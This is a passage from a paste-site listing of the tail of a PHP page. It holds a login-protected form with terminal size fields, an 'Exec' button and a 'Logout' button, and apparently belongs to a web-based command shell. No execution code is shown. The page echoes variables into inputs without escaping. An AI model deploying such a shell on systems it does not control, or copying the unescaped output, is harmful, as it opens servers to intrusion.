  533. <span style="float: right">Size: <input type="text" name="rows" size="2"
  534. maxlength="3" value="<?php echo $rows ?>"> &times; <input type="text"
  535. name="columns" size="2" maxlength="3" value="<?php echo $columns
  536. ?>"></span>
  537.  
  538. <input type="submit" value="Exec">
  539. <input type="submit" name="logout" value="Logout">
  540. </p>
  541.  
  542. </fieldset>
  543.  
  544. <?php } ?>
  545.  
  546. </form>
  547.  
  548. </body>
  549. </html>
Add Comment
Please, Sign In to add comment